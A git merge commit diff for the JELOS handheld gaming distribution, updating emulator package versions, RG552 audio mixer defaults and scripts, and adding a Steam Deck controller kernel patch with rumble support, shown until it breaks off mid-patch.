Merge branch 'JustEnoughLinuxOS:main' into RG552-M64-FIX
This commit is contained in:
commit
3525638add
32 changed files with 606 additions and 41 deletions
|
@ -2,7 +2,7 @@
|
|||
# Copyright (C) 2019-present Shanti Gilbert (https://github.com/shantigilbert)
|
||||
# Copyright (C) 2022-present Fewtarius
|
||||
PKG_NAME="PPSSPPSDL"
|
||||
PKG_VERSION="87bd7aacccc950dc2f3df9e60ea6aa87adc90379"
|
||||
PKG_VERSION="1ae6047da9743aea8595516815755c37f76c96ae"
|
||||
PKG_REV="1"
|
||||
PKG_ARCH="any"
|
||||
PKG_LICENSE="GPLv2"
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
|
||||
PKG_NAME="amiberry"
|
||||
PKG_ARCH="arm aarch64"
|
||||
PKG_VERSION="db08da43942643164163f1dc7042603f6d7e4d6e"
|
||||
PKG_VERSION="e2667f1454bdbf5a1e2b12e171ed2cdd815608a7"
|
||||
PKG_LICENSE="GPLv3"
|
||||
PKG_SITE="https://github.com/midwan/amiberry"
|
||||
PKG_URL="${PKG_SITE}.git"
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
# Copyright (C) 2022-present Fewtarius
|
||||
|
||||
PKG_NAME="flycastsa"
|
||||
PKG_VERSION="605dc59f8dfaabd460c609dd48ac12fd96d55239"
|
||||
PKG_VERSION="993b705d8bcf9ece7c1c319d3966c407691653f9"
|
||||
PKG_LICENSE="GPLv2"
|
||||
PKG_SITE="https://github.com/flyinghead/flycast"
|
||||
PKG_URL="${PKG_SITE}.git"
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
# Copyright (C) 2018-present 5schatten (https://github.com/5schatten)
|
||||
|
||||
PKG_NAME="hatarisa"
|
||||
PKG_VERSION="613318384d9c78c6cf88b5be16ca8088a1e8bc2d"
|
||||
PKG_VERSION="116b8a739b1655fa6b864149669a27cd4a0e0794"
|
||||
PKG_SHA256=""
|
||||
PKG_LICENSE="GPL"
|
||||
PKG_SITE="https://github.com/hatari/hatari"
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
# Copyright (C) 2022-present Fewtarius
|
||||
|
||||
PKG_NAME="hypseus-singe"
|
||||
PKG_VERSION="bf9a13d6677773f1e43622d2486eabce2e38bfda"
|
||||
PKG_VERSION="1976626355e693ba3d55ef1ecb9dff758103a2e9"
|
||||
PKG_REV="1"
|
||||
PKG_ARCH="any"
|
||||
PKG_LICENSE="GPL3"
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
# Copyright (C) 2022-present Fewtarius
|
||||
|
||||
PKG_NAME="pico-8"
|
||||
PKG_VERSION="428c14a99c6cb5c050371a88f1d22bbb7d554011"
|
||||
PKG_VERSION="36099e4f45f7ec504f69b7d953da6e0ceb46c807"
|
||||
PKG_SHA256=""
|
||||
PKG_ARCH="any"
|
||||
PKG_LICENSE="GPLv2"
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
# Copyright (C) 2021-present 351ELEC (https://github.com/351ELEC)
|
||||
|
||||
PKG_NAME="retroarch"
|
||||
PKG_VERSION="6083ab14e5d33ba4d80d16ad96f4e726bce5a728"
|
||||
PKG_VERSION="86669d21e2c0cad19fd1e13e778364e20593e771"
|
||||
PKG_SITE="https://github.com/libretro/RetroArch"
|
||||
PKG_URL="${PKG_SITE}.git"
|
||||
PKG_LICENSE="GPLv3"
|
||||
|
|
|
@ -2690,7 +2690,7 @@ input_recording_toggle_axis = "nul"
|
|||
input_recording_toggle_btn = "nul"
|
||||
input_recording_toggle_mbtn = "nul"
|
||||
input_remap_binds_enable = "true"
|
||||
input_remapping_directory = "~/.config/retroarch/config/remaps"
|
||||
input_remapping_directory = "~/remappings"
|
||||
input_reset = "h"
|
||||
input_reset_axis = "nul"
|
||||
input_reset_btn = "nul"
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
# Copyright (C) 2020-present Fewtarius
|
||||
|
||||
PKG_NAME="scummvmsa"
|
||||
PKG_VERSION="a9f276c4fec02d4051837efaa9a027e126963b0c"
|
||||
PKG_VERSION="4d3e4aaaf53b0e9a5a12c5c3868d9f40fd0dc035"
|
||||
PKG_SHA256=""
|
||||
PKG_REV="1"
|
||||
PKG_LICENSE="GPL2"
|
||||
|
|
|
@ -20,7 +20,7 @@
|
|||
################################################################################
|
||||
|
||||
PKG_NAME="2048"
|
||||
PKG_VERSION="5bfb48b75f5eb3903a92a9836fab0deb14c83ff6"
|
||||
PKG_VERSION="0edef01f4c2dd2cbd0bb66b888ca4b57fad297d1"
|
||||
PKG_SHA256=""
|
||||
PKG_REV="1"
|
||||
PKG_ARCH="any"
|
||||
|
|
|
@ -20,7 +20,7 @@
|
|||
################################################################################
|
||||
|
||||
PKG_NAME="core-info"
|
||||
PKG_VERSION="7744a25a0e418703e24a4bd7a2208d5a12ae8a7a"
|
||||
PKG_VERSION="628ae480b16dd5e4bff7e40eb223131cec7cbae5"
|
||||
PKG_SHA256=""
|
||||
PKG_LICENSE="GPL"
|
||||
PKG_SITE="https://github.com/libretro/libretro-core-info"
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
# Maintenance 2020 351ELEC team (https://github.com/fewtarius/351ELEC)
|
||||
|
||||
PKG_NAME="fbneo"
|
||||
PKG_VERSION="ea3040f720ca841a4c7409b1b5d09fc5bab0f6b2"
|
||||
PKG_VERSION="c5f7b020c3a2bbe34bcdb15a4700a4c8d1b7b2e3"
|
||||
PKG_SHA256=""
|
||||
PKG_REV="1"
|
||||
PKG_ARCH="any"
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
# Copyright (C) 2022-present Fewtarius
|
||||
|
||||
PKG_NAME="flycast"
|
||||
PKG_VERSION="605dc59f8dfaabd460c609dd48ac12fd96d55239"
|
||||
PKG_VERSION="993b705d8bcf9ece7c1c319d3966c407691653f9"
|
||||
PKG_SITE="https://github.com/flyinghead/flycast"
|
||||
PKG_URL="${PKG_SITE}.git"
|
||||
PKG_DEPENDS_TARGET="toolchain libzip"
|
||||
|
|
|
@ -20,7 +20,7 @@
|
|||
################################################################################
|
||||
|
||||
PKG_NAME="genesis-plus-gx"
|
||||
PKG_VERSION="165f0b80a0180b303de068fbb7e087d880ef2071"
|
||||
PKG_VERSION="3abf975785fe77267a399cc583ccf1469e081b86"
|
||||
PKG_SHA256=""
|
||||
PKG_REV="1"
|
||||
PKG_ARCH="any"
|
||||
|
|
|
@ -20,7 +20,7 @@
|
|||
################################################################################
|
||||
|
||||
PKG_NAME="mame2003-plus"
|
||||
PKG_VERSION="4bf97d5a4954c2fcb4b9dc19c864357f94e2fbf1"
|
||||
PKG_VERSION="7836cc7720c9910b7eb47fdc85e69d4d79713355"
|
||||
PKG_SHA256=""
|
||||
PKG_REV="1"
|
||||
PKG_ARCH="any"
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
# Copyright (C) 2022-present Fewtarius
|
||||
|
||||
PKG_NAME="pcsx_rearmed"
|
||||
PKG_VERSION="e33e9f997b0935055d659425181cde796e4fe069"
|
||||
PKG_VERSION="d0d2939d7a485bbe97017e5ae20b504d225c09d3"
|
||||
PKG_SHA256=""
|
||||
PKG_REV="1"
|
||||
PKG_ARCH="arm aarch64"
|
||||
|
|
|
@ -19,7 +19,7 @@
|
|||
################################################################################
|
||||
|
||||
PKG_NAME="ppsspp"
|
||||
PKG_VERSION="87bd7aacccc950dc2f3df9e60ea6aa87adc90379"
|
||||
PKG_VERSION="1ae6047da9743aea8595516815755c37f76c96ae"
|
||||
PKG_LICENSE="GPLv2"
|
||||
PKG_SITE="https://github.com/hrydgard/ppsspp"
|
||||
PKG_URL="https://github.com/hrydgard/ppsspp.git"
|
||||
|
|
|
@ -20,7 +20,7 @@
|
|||
################################################################################
|
||||
|
||||
PKG_NAME="puae"
|
||||
PKG_VERSION="4fa4c695606fa26dc55c53b791cf1a832af28a51"
|
||||
PKG_VERSION="1618077ebde376de1638455c19b315de376d90b4"
|
||||
PKG_SHA256=""
|
||||
PKG_REV="1"
|
||||
PKG_ARCH="any"
|
||||
|
|
|
@ -19,7 +19,7 @@
|
|||
################################################################################
|
||||
|
||||
PKG_NAME="snes9x"
|
||||
PKG_VERSION="ae16176a18fa2a7d642be5d66dbe1926d9d08e90"
|
||||
PKG_VERSION="2ed8d687f199ad826b3d9cb527649c48784e12f8"
|
||||
PKG_SHA256=""
|
||||
PKG_REV="1"
|
||||
PKG_ARCH="any"
|
||||
|
|
|
@ -20,7 +20,7 @@
|
|||
################################################################################
|
||||
|
||||
PKG_NAME="stella"
|
||||
PKG_VERSION="c9e10fdc6e61edc1249a5a2f3d2ee521a090fc8c"
|
||||
PKG_VERSION="d1767d4d93adff907b370c4a26097fb873a00260"
|
||||
PKG_SHA256=""
|
||||
PKG_REV="1"
|
||||
PKG_LICENSE="GPL2"
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
# Maintenance 2020 351ELEC team (https://github.com/fewtarius/351ELEC)
|
||||
|
||||
PKG_NAME="swanstation"
|
||||
PKG_VERSION="bbe2a2fc0a3dddabf73e03c2d314fc11e07989eb"
|
||||
PKG_VERSION="27a224fc9e86e0f061504878d1c0cbf3fd6891af"
|
||||
PKG_SHA256=""
|
||||
PKG_ARCH=""
|
||||
PKG_LICENSE="GPLv3"
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
# Copyright (C) 2020-present Fewtarius
|
||||
|
||||
PKG_NAME="moonlight"
|
||||
PKG_VERSION="28ace5187458b3bd3c9af086274d19a9bf480fff"
|
||||
PKG_VERSION="56f84ab662d17e6f3a663cfc340652fd1b5f210a"
|
||||
PKG_ARCH="any"
|
||||
PKG_LICENSE="GPLv3"
|
||||
PKG_SITE="https://github.com/moonlight-stream/moonlight-embedded"
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
# Copyright (C) 2020-present Fewtarius
|
||||
|
||||
PKG_NAME="retroarch-joypads"
|
||||
PKG_VERSION="9aaa57515404e1eff7794d68a17dcefd379a6696"
|
||||
PKG_VERSION="8b55e1375cbe8eaa305b5ce8e9847b929d0a830f"
|
||||
PKG_LICENSE="GPL"
|
||||
PKG_SITE="https://github.com/libretro/retroarch-joypad-autoconfig"
|
||||
PKG_URL="${PKG_SITE}.git"
|
||||
|
|
|
@ -19,7 +19,7 @@
|
|||
################################################################################
|
||||
|
||||
PKG_NAME="retroarch-overlays"
|
||||
PKG_VERSION="f35d35d40a3ed8d3ec93dba2b8872974f0465324"
|
||||
PKG_VERSION="386e7c45592e3c5754f026dc88cf612a6cff7214"
|
||||
PKG_SHA256=""
|
||||
PKG_LICENSE="GPL"
|
||||
PKG_SITE="https://github.com/libretro/common-overlays"
|
||||
|
|
|
@ -28,8 +28,8 @@ state.rockchipes8316c {
|
|||
control.3 {
|
||||
iface MIXER
|
||||
name 'Headphone Mixer Volume'
|
||||
value.0 10
|
||||
value.1 10
|
||||
value.0 0
|
||||
value.1 0
|
||||
comment {
|
||||
access 'read write'
|
||||
type INTEGER
|
||||
|
@ -37,14 +37,14 @@ state.rockchipes8316c {
|
|||
range '0 - 11'
|
||||
dbmin -1200
|
||||
dbmax 0
|
||||
dbvalue.0 -150
|
||||
dbvalue.1 -150
|
||||
dbvalue.0 -1200
|
||||
dbvalue.1 -1200
|
||||
}
|
||||
}
|
||||
control.4 {
|
||||
iface MIXER
|
||||
name 'Playback Polarity'
|
||||
value Normal
|
||||
value 'R Invert'
|
||||
comment {
|
||||
access 'read write'
|
||||
type ENUMERATED
|
||||
|
@ -57,9 +57,9 @@ state.rockchipes8316c {
|
|||
}
|
||||
control.5 {
|
||||
iface MIXER
|
||||
name 'Master Playback Volume'
|
||||
value.0 152
|
||||
value.1 152
|
||||
name 'DAC Playback Volume'
|
||||
value.0 0
|
||||
value.1 0
|
||||
comment {
|
||||
access 'read write'
|
||||
type INTEGER
|
||||
|
@ -67,8 +67,8 @@ state.rockchipes8316c {
|
|||
range '0 - 192'
|
||||
dbmin -9999999
|
||||
dbmax 0
|
||||
dbvalue.0 -2000
|
||||
dbvalue.1 -2000
|
||||
dbvalue.0 -9999999
|
||||
dbvalue.1 -9999999
|
||||
}
|
||||
}
|
||||
control.6 {
|
||||
|
@ -95,7 +95,7 @@ state.rockchipes8316c {
|
|||
control.8 {
|
||||
iface MIXER
|
||||
name 'DAC Notch Filter Switch'
|
||||
value false
|
||||
value true
|
||||
comment {
|
||||
access 'read write'
|
||||
type BOOLEAN
|
||||
|
@ -105,7 +105,7 @@ state.rockchipes8316c {
|
|||
control.9 {
|
||||
iface MIXER
|
||||
name 'DAC Double Fs Switch'
|
||||
value false
|
||||
value true
|
||||
comment {
|
||||
access 'read write'
|
||||
type BOOLEAN
|
||||
|
@ -115,7 +115,7 @@ state.rockchipes8316c {
|
|||
control.10 {
|
||||
iface MIXER
|
||||
name 'DAC Stereo Enhancement'
|
||||
value 0
|
||||
value 7
|
||||
comment {
|
||||
access 'read write'
|
||||
type INTEGER
|
||||
|
@ -126,7 +126,7 @@ state.rockchipes8316c {
|
|||
control.11 {
|
||||
iface MIXER
|
||||
name 'DAC Mono Mix Switch'
|
||||
value false
|
||||
value true
|
||||
comment {
|
||||
access 'read write'
|
||||
type BOOLEAN
|
||||
|
|
10
packages/jelos/sources/autostart/RG552/002-audiomixer
Executable file
10
packages/jelos/sources/autostart/RG552/002-audiomixer
Executable file
|
@ -0,0 +1,10 @@
|
|||
#!/bin/bash
|
||||
# SPDX-License-Identifier: Apache-2.0
|
||||
# Copyright (C) 2021-present Fewtarius (https://github.com/fewtarius)
|
||||
|
||||
. /etc/profile
|
||||
|
||||
if [ ! -e "/storage/.config/profile.d/99-mixer" ]
|
||||
then
|
||||
set-audio esset "DAC"
|
||||
fi
|
|
@ -108,7 +108,7 @@ function set_es_path() {
|
|||
exit 0
|
||||
fi
|
||||
AUDIOTEST=$(grep "AudioDevice" ${ES_SETTINGS} 2>/dev/null)
|
||||
sed -i '/<string name="AudioDevice".*$/d' ${ES_SETTINGS}
|
||||
sed -i '/^.*<string name="AudioDevice".*$/d' ${ES_SETTINGS}
|
||||
if [ -e "/storage/.config/profile.d/99-mixer" ]
|
||||
then
|
||||
rm "/storage/.config/profile.d/99-mixer"
|
||||
|
@ -117,6 +117,10 @@ function set_es_path() {
|
|||
then
|
||||
sed -i '/^.*AudioCard.*$/a \\t<string name="AudioDevice" value="'"${AUDIODEVICE}"'" \/>' ${ES_SETTINGS}
|
||||
echo "DEVICE_AUDIO_MIXER=\"${AUDIODEVICE}\"" >/storage/.config/profile.d/99-mixer
|
||||
if [ "${DEVICE_VOLUMECTL}" = true ]
|
||||
then
|
||||
systemctl restart volume
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
|
|
542
packages/kernel/linux/patches/X86_64/steam-deck-controller.patch
Normal file
542
packages/kernel/linux/patches/X86_64/steam-deck-controller.patch
Normal file
|
@ -0,0 +1,542 @@
|
|||
diff -rupN hid.orig/hid-ids.h hid/hid-ids.h
|
||||
--- linux/drivers/hid.orig/hid-ids.h 2022-11-10 18:46:50.091977625 -0800
|
||||
+++ linux/drivers/hid/hid-ids.h 2022-11-10 18:51:51.442399828 -0800
|
||||
@@ -1175,6 +1175,7 @@
|
||||
|
||||
#define USB_VENDOR_ID_VALVE 0x28de
|
||||
#define USB_DEVICE_ID_STEAM_CONTROLLER 0x1102
|
||||
+#define USB_DEVICE_ID_STEAM_DECK_CONTROLLER 0x1205
|
||||
#define USB_DEVICE_ID_STEAM_CONTROLLER_WIRELESS 0x1142
|
||||
|
||||
#define USB_VENDOR_ID_STEELSERIES 0x1038
|
||||
diff -rupN hid.orig/hid-steam.c hid/hid-steam.c
|
||||
--- linux/drivers/hid.orig/hid-steam.c 2022-11-10 18:46:50.095977727 -0800
|
||||
+++ linux/drivers/hid/hid-steam.c 2022-11-10 18:50:19.152673800 -0800
|
||||
@@ -42,6 +42,9 @@
|
||||
#include <linux/rcupdate.h>
|
||||
#include <linux/delay.h>
|
||||
#include <linux/power_supply.h>
|
||||
+#include <linux/kthread.h>
|
||||
+#include <linux/sched.h>
|
||||
+#include <linux/delay.h>
|
||||
#include "hid-ids.h"
|
||||
|
||||
MODULE_LICENSE("GPL");
|
||||
@@ -54,6 +57,7 @@ static LIST_HEAD(steam_devices);
|
||||
|
||||
#define STEAM_QUIRK_WIRELESS BIT(0)
|
||||
|
||||
+int lizard_reset_fn (void *data);
|
||||
/* Touch pads are 40 mm in diameter and 65535 units */
|
||||
#define STEAM_PAD_RESOLUTION 1638
|
||||
/* Trigger runs are about 5 mm and 256 units */
|
||||
@@ -82,9 +86,10 @@ static LIST_HEAD(steam_devices);
|
||||
#define STEAM_CMD_GET_REGISTER_DEFAULT 0x8c
|
||||
#define STEAM_CMD_SET_MODE 0x8d
|
||||
#define STEAM_CMD_DEFAULT_MOUSE 0x8e
|
||||
-#define STEAM_CMD_FORCEFEEDBAK 0x8f
|
||||
+#define STEAM_CMD_TOUCHPAD_HAPTIC 0x8f
|
||||
#define STEAM_CMD_REQUEST_COMM_STATUS 0xb4
|
||||
#define STEAM_CMD_GET_SERIAL 0xae
|
||||
+#define STEAM_CMD_RUMBLE 0xeb
|
||||
|
||||
/* Some useful register ids */
|
||||
#define STEAM_REG_LPAD_MODE 0x07
|
||||
@@ -97,6 +102,7 @@ static LIST_HEAD(steam_devices);
|
||||
#define STEAM_EV_INPUT_DATA 0x01
|
||||
#define STEAM_EV_CONNECT 0x03
|
||||
#define STEAM_EV_BATTERY 0x04
|
||||
+#define STEAM_DECK_EV_INPUT_DATA 0x09
|
||||
|
||||
/* Values for GYRO_MODE (bitmask) */
|
||||
#define STEAM_GYRO_MODE_OFF 0x0000
|
||||
@@ -118,12 +124,18 @@ struct steam_device {
|
||||
struct input_dev __rcu *input;
|
||||
unsigned long quirks;
|
||||
struct work_struct work_connect;
|
||||
+ struct work_struct work_effect;
|
||||
bool connected;
|
||||
char serial_no[STEAM_SERIAL_LEN + 1];
|
||||
struct power_supply_desc battery_desc;
|
||||
struct power_supply __rcu *battery;
|
||||
u8 battery_charge;
|
||||
u16 voltage;
|
||||
+ bool steamdeck;
|
||||
+ bool device_open;
|
||||
+ struct task_struct *lizard_reset;
|
||||
+ uint32_t rumble_weak;
|
||||
+ uint32_t rumble_strong;
|
||||
};
|
||||
|
||||
static int steam_recv_report(struct steam_device *steam,
|
||||
@@ -165,6 +177,7 @@ static int steam_send_report(struct stea
|
||||
u8 *cmd, int size)
|
||||
{
|
||||
struct hid_report *r;
|
||||
+ u32 len;
|
||||
u8 *buf;
|
||||
unsigned int retries = 50;
|
||||
int ret;
|
||||
@@ -175,13 +188,15 @@ static int steam_send_report(struct stea
|
||||
return -EINVAL;
|
||||
}
|
||||
|
||||
- if (hid_report_len(r) < 64)
|
||||
+ len = hid_report_len(r);
|
||||
+ if (len < 64)
|
||||
return -EINVAL;
|
||||
|
||||
buf = hid_alloc_report_buf(r, GFP_KERNEL);
|
||||
if (!buf)
|
||||
return -ENOMEM;
|
||||
|
||||
+ memset(buf, 0, len);
|
||||
/* The report ID is always 0 */
|
||||
memcpy(buf + 1, cmd, size);
|
||||
|
||||
@@ -193,7 +208,7 @@ static int steam_send_report(struct stea
|
||||
*/
|
||||
do {
|
||||
ret = hid_hw_raw_request(steam->hdev, 0,
|
||||
- buf, size + 1,
|
||||
+ buf, len,
|
||||
HID_FEATURE_REPORT, HID_REQ_SET_REPORT);
|
||||
if (ret != -EPIPE)
|
||||
break;
|
||||
@@ -273,6 +288,10 @@ static inline int steam_request_conn_sta
|
||||
static void steam_set_lizard_mode(struct steam_device *steam, bool enable)
|
||||
{
|
||||
if (enable) {
|
||||
+ if (steam->lizard_reset) {
|
||||
+ kthread_stop(steam->lizard_reset);
|
||||
+ steam->lizard_reset = NULL;
|
||||
+ }
|
||||
/* enable esc, enter, cursors */
|
||||
steam_send_report_byte(steam, STEAM_CMD_DEFAULT_MAPPINGS);
|
||||
/* enable mouse */
|
||||
@@ -287,17 +306,39 @@ static void steam_set_lizard_mode(struct
|
||||
STEAM_REG_RPAD_MODE, 0x07, /* disable mouse */
|
||||
STEAM_REG_RPAD_MARGIN, 0x00, /* disable margin */
|
||||
0);
|
||||
+
|
||||
+ if (steam->lizard_reset)
|
||||
+ return;
|
||||
+ steam->lizard_reset = kthread_create(lizard_reset_fn, (void*)steam, "lizard_reset");
|
||||
+ if (IS_ERR(steam->lizard_reset)) {
|
||||
+ steam->lizard_reset = NULL;
|
||||
+ return;
|
||||
+ }
|
||||
+
|
||||
+ wake_up_process(steam->lizard_reset);
|
||||
+ }
|
||||
+}
|
||||
+
|
||||
+int lizard_reset_fn (void *data) {
|
||||
+ struct steam_device *steam = (struct steam_device*)data;
|
||||
+ while (steam->device_open) {
|
||||
+ mutex_lock(&steam->mutex);
|
||||
+ steam_set_lizard_mode(steam, false);
|
||||
+ mutex_unlock(&steam->mutex);
|
||||
+ msleep(1000);
|
||||
}
|
||||
+ return 0;
|
||||
}
|
||||
|
||||
static int steam_input_open(struct input_dev *dev)
|
||||
{
|
||||
struct steam_device *steam = input_get_drvdata(dev);
|
||||
-
|
||||
+ steam->device_open = 1;
|
||||
mutex_lock(&steam->mutex);
|
||||
if (!steam->client_opened && lizard_mode)
|
||||
steam_set_lizard_mode(steam, false);
|
||||
mutex_unlock(&steam->mutex);
|
||||
+
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -305,6 +346,7 @@ static void steam_input_close(struct inp
|
||||
{
|
||||
struct steam_device *steam = input_get_drvdata(dev);
|
||||
|
||||
+ steam->device_open = 0;
|
||||
mutex_lock(&steam->mutex);
|
||||
if (!steam->client_opened && lizard_mode)
|
||||
steam_set_lizard_mode(steam, true);
|
||||
@@ -390,6 +432,62 @@ static int steam_battery_register(struct
|
||||
return 0;
|
||||
}
|
||||
|
||||
+static int steam_play_effect(struct input_dev *dev, void *data, struct ff_effect *effect)
|
||||
+{
|
||||
+ struct steam_device *steam = input_get_drvdata(dev);
|
||||
+ unsigned long flags;
|
||||
+ u32 strong, weak;
|
||||
+
|
||||
+ if (effect->u.rumble.strong_magnitude == 0 && effect->u.rumble.weak_magnitude == 0)
|
||||
+ return 0;
|
||||
+
|
||||
+ /* Steam uses a factor of 1.33 to the values. */
|
||||
+ strong = (effect->u.rumble.strong_magnitude * 100ul) / 75;
|
||||
+ weak = (effect->u.rumble.weak_magnitude * 100ul) / 75;
|
||||
+
|
||||
+ /* Clamp values to 16 bit */
|
||||
+ if (strong > 0xffff)
|
||||
+ strong = 0xffff;
|
||||
+
|
||||
+ if (weak > 0xffff)
|
||||
+ weak = 0xffff;
|
||||
+
|
||||
+ spin_lock_irqsave(&steam->lock, flags);
|
||||
+ steam->rumble_strong = strong;
|
||||
+ steam->rumble_weak = weak;
|
||||
+ spin_unlock_irqrestore(&steam->lock, flags);
|
||||
+
|
||||
+ schedule_work(&steam->work_effect);
|
||||
+ return 0;
|
||||
+}
|
||||
+/**
|
||||
+ * Prepares the command buffer for the rumble command.
|
||||
+ * It is reverse-engineered from captured traces when using Steam's
|
||||
+ * controller support.
|
||||
+ */
|
||||
+static void prepare_effect_buffer(u8 *buf,uint16_t strong, uint16_t weak)
|
||||
+{
|
||||
+ buf[0] = STEAM_CMD_RUMBLE;
|
||||
+ buf[1] = 9;
|
||||
+ buf[2] = 1;
|
||||
+ buf[3] = 0x40;
|
||||
+ buf[4] = 0x1f;
|
||||
+ buf[5] = strong & 0xff;
|
||||
+ buf[6] = strong >> 8;
|
||||
+ buf[7] = weak & 0xff;
|
||||
+ buf[8] = weak >> 8;
|
||||
+}
|
||||
+
|
||||
+static void steam_play_effect_cb(struct work_struct *work)
|
||||
+{
|
||||
+ struct steam_device *steam = container_of(work, struct steam_device, work_effect);
|
||||
+ u8 cmd_buf[9];
|
||||
+ prepare_effect_buffer(cmd_buf, steam->rumble_strong, steam->rumble_weak);
|
||||
+ mutex_lock(&steam->mutex);
|
||||
+ steam_send_report(steam, cmd_buf, sizeof(cmd_buf));
|
||||
+ mutex_unlock(&steam->mutex);
|
||||
+}
|
||||
+
|
||||
static int steam_input_register(struct steam_device *steam)
|
||||
{
|
||||
struct hid_device *hdev = steam->hdev;
|
||||
@@ -423,48 +521,107 @@ static int steam_input_register(struct s
|
||||
input->id.product = hdev->product;
|
||||
input->id.version = hdev->version;
|
||||
|
||||
- input_set_capability(input, EV_KEY, BTN_TR2);
|
||||
- input_set_capability(input, EV_KEY, BTN_TL2);
|
||||
- input_set_capability(input, EV_KEY, BTN_TR);
|
||||
- input_set_capability(input, EV_KEY, BTN_TL);
|
||||
- input_set_capability(input, EV_KEY, BTN_Y);
|
||||
- input_set_capability(input, EV_KEY, BTN_B);
|
||||
- input_set_capability(input, EV_KEY, BTN_X);
|
||||
- input_set_capability(input, EV_KEY, BTN_A);
|
||||
- input_set_capability(input, EV_KEY, BTN_DPAD_UP);
|
||||
- input_set_capability(input, EV_KEY, BTN_DPAD_RIGHT);
|
||||
- input_set_capability(input, EV_KEY, BTN_DPAD_LEFT);
|
||||
- input_set_capability(input, EV_KEY, BTN_DPAD_DOWN);
|
||||
- input_set_capability(input, EV_KEY, BTN_SELECT);
|
||||
- input_set_capability(input, EV_KEY, BTN_MODE);
|
||||
- input_set_capability(input, EV_KEY, BTN_START);
|
||||
- input_set_capability(input, EV_KEY, BTN_GEAR_DOWN);
|
||||
- input_set_capability(input, EV_KEY, BTN_GEAR_UP);
|
||||
- input_set_capability(input, EV_KEY, BTN_THUMBR);
|
||||
- input_set_capability(input, EV_KEY, BTN_THUMBL);
|
||||
- input_set_capability(input, EV_KEY, BTN_THUMB);
|
||||
- input_set_capability(input, EV_KEY, BTN_THUMB2);
|
||||
-
|
||||
- input_set_abs_params(input, ABS_HAT2Y, 0, 255, 0, 0);
|
||||
- input_set_abs_params(input, ABS_HAT2X, 0, 255, 0, 0);
|
||||
- input_set_abs_params(input, ABS_X, -32767, 32767, 0, 0);
|
||||
- input_set_abs_params(input, ABS_Y, -32767, 32767, 0, 0);
|
||||
- input_set_abs_params(input, ABS_RX, -32767, 32767,
|
||||
- STEAM_PAD_FUZZ, 0);
|
||||
- input_set_abs_params(input, ABS_RY, -32767, 32767,
|
||||
- STEAM_PAD_FUZZ, 0);
|
||||
- input_set_abs_params(input, ABS_HAT0X, -32767, 32767,
|
||||
- STEAM_PAD_FUZZ, 0);
|
||||
- input_set_abs_params(input, ABS_HAT0Y, -32767, 32767,
|
||||
- STEAM_PAD_FUZZ, 0);
|
||||
- input_abs_set_res(input, ABS_X, STEAM_JOYSTICK_RESOLUTION);
|
||||
- input_abs_set_res(input, ABS_Y, STEAM_JOYSTICK_RESOLUTION);
|
||||
- input_abs_set_res(input, ABS_RX, STEAM_PAD_RESOLUTION);
|
||||
- input_abs_set_res(input, ABS_RY, STEAM_PAD_RESOLUTION);
|
||||
- input_abs_set_res(input, ABS_HAT0X, STEAM_PAD_RESOLUTION);
|
||||
- input_abs_set_res(input, ABS_HAT0Y, STEAM_PAD_RESOLUTION);
|
||||
- input_abs_set_res(input, ABS_HAT2Y, STEAM_TRIGGER_RESOLUTION);
|
||||
- input_abs_set_res(input, ABS_HAT2X, STEAM_TRIGGER_RESOLUTION);
|
||||
+ if (!steam->steamdeck) {
|
||||
+ input_set_capability(input, EV_KEY, BTN_TR2);
|
||||
+ input_set_capability(input, EV_KEY, BTN_TL2);
|
||||
+ input_set_capability(input, EV_KEY, BTN_TR);
|
||||
+ input_set_capability(input, EV_KEY, BTN_TL);
|
||||
+ input_set_capability(input, EV_KEY, BTN_Y);
|
||||
+ input_set_capability(input, EV_KEY, BTN_B);
|
||||
+ input_set_capability(input, EV_KEY, BTN_X);
|
||||
+ input_set_capability(input, EV_KEY, BTN_A);
|
||||
+ input_set_capability(input, EV_KEY, BTN_DPAD_UP);
|
||||
+ input_set_capability(input, EV_KEY, BTN_DPAD_RIGHT);
|
||||
+ input_set_capability(input, EV_KEY, BTN_DPAD_LEFT);
|
||||
+ input_set_capability(input, EV_KEY, BTN_DPAD_DOWN);
|
||||
+ input_set_capability(input, EV_KEY, BTN_SELECT);
|
||||
+ input_set_capability(input, EV_KEY, BTN_MODE);
|
||||
+ input_set_capability(input, EV_KEY, BTN_START);
|
||||
+ input_set_capability(input, EV_KEY, BTN_GEAR_DOWN);
|
||||
+ input_set_capability(input, EV_KEY, BTN_GEAR_UP);
|
||||
+ input_set_capability(input, EV_KEY, BTN_THUMBR);
|
||||
+ input_set_capability(input, EV_KEY, BTN_THUMBL);
|
||||
+ input_set_capability(input, EV_KEY, BTN_THUMB);
|
||||
+ input_set_capability(input, EV_KEY, BTN_THUMB2);
|
||||
+
|
||||
+ input_set_abs_params(input, ABS_HAT2Y, 0, 255, 0, 0);
|
||||
+ input_set_abs_params(input, ABS_HAT2X, 0, 255, 0, 0);
|
||||
+ input_set_abs_params(input, ABS_X, -32767, 32767, 0, 0);
|
||||
+ input_set_abs_params(input, ABS_Y, -32767, 32767, 0, 0);
|
||||
+ input_set_abs_params(input, ABS_RX, -32767, 32767,
|
||||
+ STEAM_PAD_FUZZ, 0);
|
||||
+ input_set_abs_params(input, ABS_RY, -32767, 32767,
|
||||
+ STEAM_PAD_FUZZ, 0);
|
||||
+ input_set_abs_params(input, ABS_HAT0X, -32767, 32767,
|
||||
+ STEAM_PAD_FUZZ, 0);
|
||||
+ input_set_abs_params(input, ABS_HAT0Y, -32767, 32767,
|
||||
+ STEAM_PAD_FUZZ, 0);
|
||||
+ input_abs_set_res(input, ABS_X, STEAM_JOYSTICK_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_Y, STEAM_JOYSTICK_RESOLUTION);
|
||||
+ input_abs_set_res(input, ABS_RX, STEAM_PAD_RESOLUTION);
|
||||
